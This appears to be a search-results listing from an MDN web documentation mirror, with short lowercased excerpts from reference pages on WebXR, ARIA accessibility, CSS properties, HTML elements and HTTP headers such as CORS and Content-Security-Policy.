XRSession.requestAnimationFrame() - Web APIs
// obtain xr object const xr = navigator.xr // request a new xrsession xr.requestsession("inline").then((xrsession) => { xrsession.requestanimationframe((time, xrframe) => { let viewer = xrframe.getviewerpose(xrreferencespace) gl.bindframebuffer(xrwebgllayer.framebuffer) for (xrview of viewer.views) { let xrviewport = xrwebgllayer.getviewport(xrview) gl.viewport(xrviewport.x, xrviewport.y, xrviewport.width, xrviewport.height) ...
XRSession: selectend event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: selectstart event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: squeezeend event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: squeezestart event - Web APIs
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: visibilitychange event - Web APIs
upon receiving the event, you can check the value of the session's visibilitystate property to determine the new visibility state.
XRSessionEvent - Web APIs
constructor xrsessionevent() creates and returns a new xrsessionevent object configured using the specified xrsessioneventinit object's values as available.
XRSessionEventInit.session - Web APIs
syntax let sessioneventinit = { session: xrsession }; mysessionevent = new xrsessionevent(type, sessioneventinit); mysessionevent = new xrsessionevent(type, { session: xrsession }); value an xrsession object indicating which webxr session the event is referring to.
XRSessionEventInit - Web APIs
the xrsessioneventinit dictionary is used when calling the xrsessionevent() constructor to provide the new event's initial values.
XRSessionInit - Web APIs
the webxr device api dictionary xrsessioninit specifies required and/or optional features when requesting a new xrsession by calling the navigator.xr.requestsession() method.
XRSessionMode - Web APIs
usage notes the xrsessionmode type indicates the values that can be specified when calling xr.issessionsupported() to determine whether or not the specified session type is supported and available to be used, and by requestsession() to attempt to open a new webxr session.
XRSystem: requestSession() - Web APIs
sessioninit optional a xrsessioninit object providing options to configure the new xrsession.
XRWebGLLayer.framebuffer - Web APIs
the default configuration of a new framebuffer upon creating a new xrwebgllayer, its new framebuffer is initialized just like the default framebuffer for any webgl interface: the color buffer is configured with its clear value set to the color (0, 0, 0, 0) (meaning transparent black).
XRWebGLLayer.ignoreDepthValues - Web APIs
this is demonstrated in the snippet of code below: const gllayeroptions = { ignoredepthvalues: true }; let gllayer = new xrwebgllayer(xrsession, gl, gllayeroptions); specifications specification status comment webxr device apithe definition of 'xrwebgllayer.ignoredepthvalues' in that specification.
ARIA Screen Reader Implementors Guide - Accessibility
as a new event for an atomic region is added to the queue remove an earlier event for the same region.
Using the alert role - Accessibility
endchild(myalert); note: the same result can be achieved with less code when using a script library like jquery: $("<p role='alert'>you must agree with our terms of service to create an account.</p>").appendto(document.body); example 3: adding alert role to an existing element sometimes it's useful to add an alert role to an element that is already visible on the page rather than creating a new element.
Using the aria-invalid attribute - Accessibility
"true"); updatealert(amsg); } else { elem.setattribute("aria-invalid", "false"); updatealert(); } } the snippet below shows the alert functions, which add (or remove) the error message: function updatealert(msg) { var oldalert = document.getelementbyid("alert"); if (oldalert) { document.body.removechild(oldalert); } if (msg) { var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var content = document.createtextnode(msg); newalert.appendchild(content); document.body.appendchild(newalert); } } note that the alert has the aria role attribute set to "alert." working examples: alert role example (uses the aria-inv...
Using the article role - Accessibility
examples of an article include web log posts, newspaper or magazine articles and use-submitted comments.
Using the group role - Accessibility
<div role="menu"> <ul role="group"> <li role="menuitem">inbox</li> <li role="menuitem">archive</li> <li role="menuitem">trash</li> </ul> <ul role="group"> <li role="menuitem">custom folder 1</li> <li role="menuitem">custom folder 2</li> <li role="menuitem">custom folder 3</li> </ul> <ul role="group"> <li role="menuitem">new folder</li> </ul> </div> working examples: file directory treeview example using computed properties navigation treeview example using declared properties notes group members that are outside of the dom subtree of the group need to have explicit relationships assigned to them in order to participate in the group.
Using the slider role - Accessibility
" aria-labelledby="day-label" aria-valuemin="1" aria-valuemax="7" aria-valuenow="2" aria-valuetext="monday"> </div> </div> the code snippet below shows a function that responds to user input and updates the aria-valuenow and aria-valuetext attributes: var daynames = ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "saturday"]; var updateslider = function (newvalue) { var handle = document.getelementbyid("day-handle"); handle.setattribute("aria-valuenow", newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: ad...
ARIA: article role - Accessibility
it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.
ARIA: document role - Accessibility
description by default, web pages are treated as documents; assistive technologies (at) enter browse or read mode when entering a new web page.
ARIA: gridcell role - Accessibility
iv role="columnheader" aria-colindex="2">last name</div> <div role="columnheader" aria-colindex="5">city</div> <div role="columnheader" aria-colindex="6">zip</div> </div> </div> <div role="rowgroup"> <div role="row"> <div role="gridcell" aria-colindex="1">debra</div> <div role="gridcell" aria-colindex="2">burks</div> <div role="gridcell" aria-colindex="5">new york</div> <div role="gridcell" aria-colindex="6">14127</div> </div> </div> … </div> describing the position of gridcells when the overall structure is unknown in situations where the table-style grouping of content does not provide information about the columns and rows, gridcells must have their positions programatically described by using aria-describedby.
ARIA: heading role - Accessibility
in that case, the newly-added headings need aria-level attributes whose values are consistent with the rest of the document structure.
WAI-ARIA Roles - Accessibility
it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.aria: banner rolea banner role represents general and informative content frequently placed at the beginning of the page.
Multipart labels: Using ARIA for labels with embedded fields inside them - Accessibility
with firefox 3, your blind users will automatically get better accessibility from the new attribute, but the users of older browsers are not left in the dark this way.
Alerts - Accessibility
below is example javascript code which could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg); newalert.appendchild(msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (i...
ARIA - Accessibility
the new landmark elements (<main>, <header>, <nav> etc) have built-in aria roles, so there is no need to duplicate them.
Accessibility and Spacial Patterns - Accessibility
for example, borders on svg can extend both inward and outward from its dimensions, or for newer versions of svg, entirely outward from it, thus reducing the space around the svg to enable perception.
An overview of accessible web applications and widgets - Accessibility
instead, remove the original element and replace it with an element with the new role.
HTML To MSAA - Accessibility
map html element role name value states relations actions events notes a role_system_ link n/a value of @href attribute state_system_ selectable if @name attribute is presented state_system_ linked if @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton from child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent from child...
Keyboard-navigable JavaScript widgets - Accessibility
to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: programmatically apply focus to the new element, update the tabindex of the focused element to "0", and update the tabindex of the previously focused element to "-1".
Web accessibility for seizures and physical reactions - Accessibility
@media screen and (prefers-reduced-motion: reduce) { } @media screen and (prefers-reduced-motion) { } to see a great example of how to use the code prefers-reduced-motion, visit the mdn document, prefers-reduced-motion, or see the example below from the section on new in chrome 74.
Robust - Accessibility
4.1.3 status messages (aa) added in 2.1 assistive technology users are made aware of new status messages added to the page.
Text labels and names - Accessibility
<input type="checkbox" id="terms"> </label> <input type="checkbox" id="emailoptin"> <label for="emailoptin">yes, please send me news about this product.</label> form elements should have a visible text label in addition to having a <label> for every form element, those labels should be visible, not hidden.
Understandable - Accessibility
3.2.3 consistent navigation (aa) navigation menu/control style and positioning should be consistent between different pages or views of a web page, and the existing items should appear in the same order, even if for example new iteam are added.
Understanding the Web Content Accessibility Guidelines - Accessibility
wcag 2.1 includes: all of wcag 2.0 (verbatim, word-for-word) 17 new success criteria at the a / aa / aaa levels primarily addressing user needs in these areas: mobile accessibility low vision cognitive read more about wcag 2.1: deque: wcag 2.1: what is next for accessibility guidelines tpg: web content accessibility guidelines (wcag) 2.1 legal standing this guide is intended to provide practical information to help you build ...
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
also creates a new stacking context.
@font-face - CSS: Cascading Style Sheets
recommendation font format specification with new compression algorithm woff file format 1.0the definition of 'woff font format' in that specification.
display-mode - CSS: Cascading Style Sheets
browser browser the application opens in a conventional browser tab or new window, depending on the browser and platform.
@media - CSS: Cascading Style Sheets
WebCSS@media
ion> | <ident> | <ratio> examples testing for print and screen media types @media print { body { font-size: 10pt; } } @media screen { body { font-size: 13px; } } @media screen, print { body { line-height: 1.2; } } @media only screen and (min-width: 320px) and (max-width: 480px) and (resolution: 150dpi) { body { line-height: 1.4; } } introduced in media queries level 4 is a new range syntax that allows for less verbose media queries when testing for any feature accepting a range, as shown in the below examples: @media (height > 600px) { body { line-height: 1.4; } } @media (400px <= width <= 700px) { body { line-height: 1.4; } } for more examples, please see using media queries.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
in fragmented media, once a fragment (for example a page) is filled with columns, the columns will move to a new page and fill that up with columns.
Handling content breaks in multicol - CSS: Cascading Style Sheets
for example, we would generally prefer that the figcaption of an image not be separated into a new column away from the image it refers to and ending a column with a heading looks strange.
Spanning and Balancing Columns - CSS: Cascading Style Sheets
when a spanner is introduced, it breaks the flow of columns and columns restart after the spanner, effectively creating a new set of column boxes.
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
this is a newer keyword and has less browser support, however you can always get the same effect by using auto as the flex-basis and ensuring that your item does not have a width set, in order that it will be auto-sized.
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
-moz-box-orient: horizontal; } -webkit-flex-direction: $value; -ms-flex-direction: $value; flex-direction: $value; } // shorter version: @mixin flex-dir($args...) { @include flex-direction($args...); } flexbox wrap the flex-wrap property controls whether the flex container is single-lined or multi-lined and the direction of the cross-axis, which determines the direction in which the new lines are stacked in.
In Flow and Out of Flow - CSS: Cascading Style Sheets
taking an item out of flow all elements are in-flow apart from: floated items items with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow items create a new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate from the rest of the page.
Grid template areas - CSS: Cascading Style Sheets
take some time to build some common layout patterns using grid, while there are lots of new terms to learn, the syntax is relatively straightforward.
Subgrid - CSS: Cascading Style Sheets
if you set the value subgrid on grid-template-columns, grid-template-rows or both, instead of creating a new track listing the nested grid uses the tracks defined on the parent.
CSS Grid Layout - CSS: Cascading Style Sheets
basic example the example below shows a three-column track grid with new rows created at a minimum of 100 pixels and a maximum of auto.
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
as we saw above, newer css layout methods such as flexbox and grid layout use the concepts of block and inline rather than right and left/top and bottom when aligning items.
Stacking with floated blocks - CSS: Cascading Style Sheets
this is due to a peculiar part of the specification: applying a opacity value creates a new stacking context (see what no one told you about z-index).
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
note that the document may jump to a new scroll position, since target elements are placed on the top of the browser window if possible.
Descendant combinator - CSS: Cascading Style Sheets
/* list items that are descendants of the "my-things" list */ ul.my-things li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed, new line, and tab characters — between two selectors in the absence of another combinator.
Cookbook template - CSS: Cascading Style Sheets
please use this as a raw template when you create a new cookbook page.
CSS Layout cookbook - CSS: Cascading Style Sheets
note: if you are new to css layout then you might first like to take a look at our css layout learning module, as this will give you the basic grounding you need to make use of the recipes here.
Layout mode - CSS: Cascading Style Sheets
multi-column layout, designed for laying content out in columns as in a newspaper.
Testing media queries programmatically - CSS: Cascading Style Sheets
this makes sense because newer implementations of mediaquerylist handle event listeners in a standard way.
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
properties and custom variables can lead to invalid css statements, leading to the new concept of valid at computed time.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
the differences are smaller in the newest browsers.
background-position - CSS: Cascading Style Sheets
firefox's new parallel css engine (also known as quantum css or stylo, planned for release in firefox 57) fixes this.
background - CSS: Cascading Style Sheets
candidate recommendation the shorthand property has been extended to support multiple backgrounds and the new background-size, background-origin and background-clip properties.
<blend-mode> - CSS: Cascading Style Sheets
idth: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: luminosity; } description for each pixel among the layers to which it is applied, a blend mode takes the colors of the foreground and the background, perfoms a calculation on them, and returns a new color value.
border-image-slice - CSS: Cascading Style Sheets
li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-output'); const divelem = document.queryselector('div > div'); widthslider.addeventlistener('input', () => { const newvalue = widthslider.value + 'px'; divelem.style.borderwidth = newvalue; widthoutput.textcontent = newvalue; }) sliceslider.addeventlistener('input', () => { const newvalue = sliceslider.value; divelem.style.borderimageslice = newvalue; sliceoutput.textcontent = newvalue; }) result specifications specification status comment css backgrounds and borders mo...
box-flex-group - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
box-ordinal-group - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
box-orient - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
box-pack - CSS: Cascading Style Sheets
WebCSSbox-pack
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
clip - CSS: Cascading Style Sheets
WebCSSclip
/* keyword value */ clip: auto; /* <shape> values */ clip: rect(1px 10em 3rem 2ch); clip: rect(1px, 10em, 3rem, 2ch); /* global values */ clip: inherit; clip: initial; clip: unset; syntax note: where possible, authors are encouraged to use the newer clip-path property instead.
column-span - CSS: Cascading Style Sheets
the element establishes a new block formatting context.
content - CSS: Cascading Style Sheets
WebCSScontent
html <h2>paperback best sellers</h2> <ol> <li>political thriller</li> <li class="new-entry">halloween stories</li> <li>my biography</li> <li class="new-entry">vampire romance</li> </ol> css .new-entry::after { content: " new!"; /* the leading space creates separation between the added content and the rest of the content */ color: red; } result images and element attributes this example inserts an image before each li...
<custom-ident> - CSS: Cascading Style Sheets
adds its usage to the new counter-set property.
<display-legacy> - CSS: Cascading Style Sheets
html <div class="container"> <div>flex item</div> <div>flex item</div> </div> not a flex item css .container { display: inline-flex; } result in the new syntax the inline flex container would be created using two values, inline for the outer display type, and flex for the inner display type.
<display-outside> - CSS: Cascading Style Sheets
examples in the following example, span elements (normally displayed as inline elements) are set to display: block and so break onto new lines and expand to fill their container in the inline dimension.
env() - CSS: Cascading Style Sheets
WebCSSenv
to tell the browser to use the whole available space on the screen, and so enabling us to use the env() variables, we need to add a new viewport meta value: <meta name="viewport" content="viewport-fit=cover" /> body { padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property val...
flex-basis - CSS: Cascading Style Sheets
then, that change was reverted in bug 1093316, so auto once again means "look at my width or height property"; and a new content keyword is being introduced to trigger automatic sizing.
font-size-adjust - CSS: Cascading Style Sheets
it has been newly defined in css 3.
font-variant - CSS: Cascading Style Sheets
candidate recommendation made it a shorthand of the new font-variant-* properties.
line-break - CSS: Cascading Style Sheets
typically used for short lines, such as in newspapers.
list-style-type - CSS: Cascading Style Sheets
: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuediscapplies tolist itemsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <counter-style> | <string> | nonewhere <counter-style> = <counter-style-name> | symbols()where <counter-style-name> = <custom-ident> examples setting list item markers html list 1 <ol class="normal"> <li>hello</li> <li>world</li> <li>what's up?</li> </ol> list 2 <ol class="shortcut"> <li>looks</li> <li>like</li> <li>the</li> <li>same</li> </ol> css ol.normal { list-style-type: upper-alpha; } /* or use the s...
object-fit - CSS: Cascading Style Sheets
<img class="none narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: scale-down</h2> <img class="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier new, monospace; font-size: 1em; margin: 1em 0 0.3em; } div { display: flex; flex-direction: column; flex-wrap: wrap; align-items: flex-start; height: 940px; } img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cov...
opacity - CSS: Cascading Style Sheets
WebCSSopacity
using opacity with a value other than 1 places the element in a new stacking context.
overflow-block - CSS: Cascading Style Sheets
if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context.
overflow-inline - CSS: Cascading Style Sheets
if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context.
page-break-after - CSS: Cascading Style Sheets
user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples setting a page break after footnotes /* move to a new page after footnotes */ div.footnotes { page-break-after: always; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification.
perspective - CSS: Cascading Style Sheets
using this property with a value different than 0 and none creates a new stacking context.
text-decoration - CSS: Cascading Style Sheets
it is a shorthand for text-decoration-line, text-decoration-color, text-decoration-style, and the newer text-decoration-thickness property.
rotate() - CSS: Cascading Style Sheets
for example, if you rotate before translating, the translation will be along the new axis of rotation!
transition-duration - CSS: Cascading Style Sheets
syntax /* <time> values */ transition-duration: 6s; transition-duration: 120ms; transition-duration: 1s, 15s; transition-duration: 10s, 30s, 230ms; /* global values */ transition-duration: inherit; transition-duration: initial; transition-duration: unset; values <time> is a <time> denoting the amount of time the transition from the old value of a property to the new value should take.
var() - CSS: Cascading Style Sheets
WebCSSvar
this value may contain any character except some characters with special meaning like newlines, unmatched closing brackets, i.e.
widows - CSS: Cascading Style Sheets
WebCSSwidows
(the paragraph is continued from a prior page.) syntax values <integer> the minimum number of lines that can stay by themselves at the top of a new fragment after a fragmentation break.
will-change - CSS: Cascading Style Sheets
chrome currently takes two actions, given particular css property idents: establish a new compositing layer or a new stacking context.
z-index - CSS: Cascading Style Sheets
WebCSSz-index
values auto the box does not establish a new local stacking context.
CSS: Cascading Style Sheets
WebCSS
css introduction if you're new to web development, be sure to read our css basics article to learn what css is and how to use it.
Community - Developer guides
WebGuideAJAXCommunity
if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
Cross-browser audio basics - Developer guides
</audio> you can grab the <audio> element like this: var myaudio = document.getelementbyid('my-audio'); alternatively, you can create a new element.
Live streaming web audio and video - Developer guides
mpeg-dash dash stands for dynamic adaptive streaming over http and is a new format that has recently seen support added to chrome, and internet explorer 11 running on windows 8.1.
Mutation events - Developer guides
ified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified mutation observers alternatives examples domnoderemovedfromdocument var isdescendant = function (desc, root) { return !!desc && (desc === root || isdescendant(desc.parentnode, root)); }; var onremove = function (element, callback) { var observer = new mutationobserver(function (mutations) { _.foreach(mutations, function (mutation) { _.foreach(mutation.removednodes, function (removed) { if (isdescendant(element, removed)) { callback(); // allow garbage collection observer.disconnect(); observer = undefined; } ...
Event developer guide - Developer guides
WebGuideEvents
the custom events page describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.
Introduction to Web development - Developer guides
whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started.
The Web Open Font Format (WOFF) - Developer guides
WebGuideWOFF
specifications specification status comment woff file format 2.0 recommendation new compression algorithm woff file format 1.0 recommendation initial specification.
Developer guides
audio and video manipulation the beauty of the web is that you can combine technologies to create new forms.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
example <p>javascript object notation (<abbr>json</abbr>) is a lightweight data-interchange format.</p> this is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns.
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
examples include: a forum post, a magazine or newspaper article, or a blog entry.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
_blank: show the result in a new, unnamed browsing context.
<basefont> - HTML: Hypertext Markup Language
WebHTMLElementbasefont
for any new web development, styling should be written using css only.
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
_blank: load the response into a new unnamed browsing context — usually a new tab or window, depending on the user’s browser settings.
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
<p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
by this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html living standardthe definition of '<dialog>' in that specification.
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
<em> new developers are often confused at seeing multiple elements that produce similar results.
<font> - HTML: Hypertext Markup Language
WebHTMLElementfont
for any new web development, styling should be written using css only.
<footer> - HTML: Hypertext Markup Language
WebHTMLElementfooter
the <footer> element is not sectioning content and therefore doesn't introduce a new section in the outline.
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
_blank: load into a new unnamed browsing context.
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
implicit aria role banner, or no corresponding role if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, navigation or region permitted aria roles group, presentation or none dom interface htmlelement usage notes the <header> element is not sectioning content and therefore does not introduce a new section in the outline.
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons.
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
then, insert the image into the list item too by creating a new <img> and setting its src to the thumbnail.
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
it's defined by whatwg's url living standard and is described for newcomers in our article what is a url?
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
capture introduced in the html media capture specification and valid for the file input type only, the capture attribute defines which media—microphone, video, or camera—should be used to capture a new file for upload with file upload control in supporting scenarios.
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
although the death star has been destroyed, <mark class="match">imperial</mark> troops have driven the rebel forces from their hidden base and pursued them across the galaxy.</p> <p>evading the dreaded <mark class="match">imperial</mark> starfleet, a group of freedom fighters led by luke skywalker has established a new secret base on the remote ice world of hoth.</p> to help distinguish the use of <mark> for search results from other potential usage, this example applies the custom class "match" to each match.
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
--> <menu type="toolbar"> <li> <button type="menu" menu="file-menu">file</button> <menu type="context" id="file-menu"> <menuitem label="new..." onclick="newfile()"> <menuitem label="save..." onclick="savefile()"> </menu> </li> <li> <button type="menu" menu="edit-menu">edit</button> <menu type="context" id="edit-menu"> <menuitem label="cut..." onclick="cutedit()"> <menuitem label="copy..." onclick="copyedit()"> <menuitem label="paste..." onclick="pasteedit()"> </menu> </li> </menu> resul...
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
pilcrow for paragraphs</button> </p> css p { margin: 0; text-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: " ¶ "; } javascript document.queryselector('button').addeventlistener('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into paragraphs helps make a page more accessible.
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
<strong> it is often confusing to new developers why there are so many ways to express the same thing on a rendered website.
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
WebHTMLElementu
usage notes along with other pure styling elements, the original html underline (<u>) element was deprecated in html 4; however, <u> was restored in html 5 with a new, semantic, meaning: to mark text as having some form of non-textual annotation applied.
accesskey - HTML: Hypertext Markup Language
the way to activate the accesskey depends on the browser and its platform: windows linux mac firefox alt + shift + key on firefox 57 or newer: control + option + key or control + alt + key on firefox 14 or newer: control + alt + key on firefox 13 or older: control + key internet explorer alt + key alt + shift + key n/a edge n/a control + option + key control + option + shift + key google chrome alt + shift + key safari n/a opera 15+ alt + key ...
dropzone - HTML: Hypertext Markup Language
move, which indicates that the element that was dragged will be moved to this new location.
is - HTML: Hypertext Markup Language
} } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification.
title - HTML: Hypertext Markup Language
some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on.
Global attributes - HTML: Hypertext Markup Language
it can have the following values: copy, which indicates that dropping will create a copy of the element that was dragged move, which indicates that the element that was dragged will be moved to this new location.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
browsers therefore introduced two modes to treat new standards compliant sites differently from old legacy sites.
Microformats - HTML: Hypertext Markup Language
microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approaches of using rdfa and microdata which require learning new attributes.
HTML: Hypertext Markup Language
WebHTML
html introduction if you're new to web development, be sure to read our html basics article to learn what html is and how to use it.
Resource URLs - HTTP
resources that have to be exposed to web content have been moved to a new location named resource://content-accessible/, which is isolated and only contains non-sensitive resources.
Basics of HTTP - HTTP
on top of these basic concepts, numerous extensions have been developed over the years that add updated functionality and semantics with new http methods or headers.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
the header itself accepts a comma-delineated list of origins, so adding a new origin is not difficult.
Reason: CORS request external redirect not allowed - HTTP
to fix the problem, update your code to use the new url as reported by the redirect, thereby avoiding the redirect.
Reason: CORS request not HTTP - HTTP
this new behavior is enabled by default using the privacy.file_unique_origin preference.
Content negotiation - HTTP
if you want to use screen size, resolution or other dimensions, a new http header must be created.
Using HTTP cookies - HTTP
WebHTTPCookies
javascript access using document.cookie new cookies can be created via javascript using the document.cookie property, and existing cookies can be accessed from javascript as well, if the httponly flag is not set.
Using Feature Policy - HTTP
for new content, you can start developing with a policy that disables all the features.
Feature Policy - HTTP
newly introduced features may have an explicit api to signal the state.
Access-Control-Allow-Credentials - HTTP
examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
Alt-Svc - HTTP
WebHTTPHeadersAlt-Svc
if the cached entry expires, the client can no longer use this alternative service for new connections.
CSP: child-src - HTTP
examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker = new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definition of 'child-src' in that specification.
CSP: connect-src - HTTP
examples violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr = new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.send(); var ws = new websocket("https://not-example.com/"); var es = new eventsource("https://not-example.com/"); navigator.sendbeacon("https://not-example.com/", { ...
CSP: object-src - HTTP
elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving new standardized features (such as the security attributes sandbox or allow for <iframe>).
CSP: sandbox - HTTP
allow-popups-to-escape-sandbox allows a sandboxed document to open new windows without forcing the sandboxing flags upon them.
CSP: worker-src - HTTP
examples violation cases given this csp header: content-security-policy: worker-src https://example.com/ worker, sharedworker, serviceworker are blocked and won't load: <script> var blockedworker = new worker("data:application/javascript,..."); blockedworker = new sharedworker("https://not-example.com/"); navigator.serviceworker.register('https://not-example.com/sw.js'); </script> specifications specification status comment content security policy level 3the definition of 'worker-src' in that specification.
Content-Security-Policy - HTTP
elements controlled by object-src are perhaps coincidentally considered legacy html elements and are not receiving new standardized features (such as the security attributes sandbox or allow for <iframe>).
Cookie2 - HTTP
WebHTTPHeadersCookie2
the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one.
ETag - HTTP
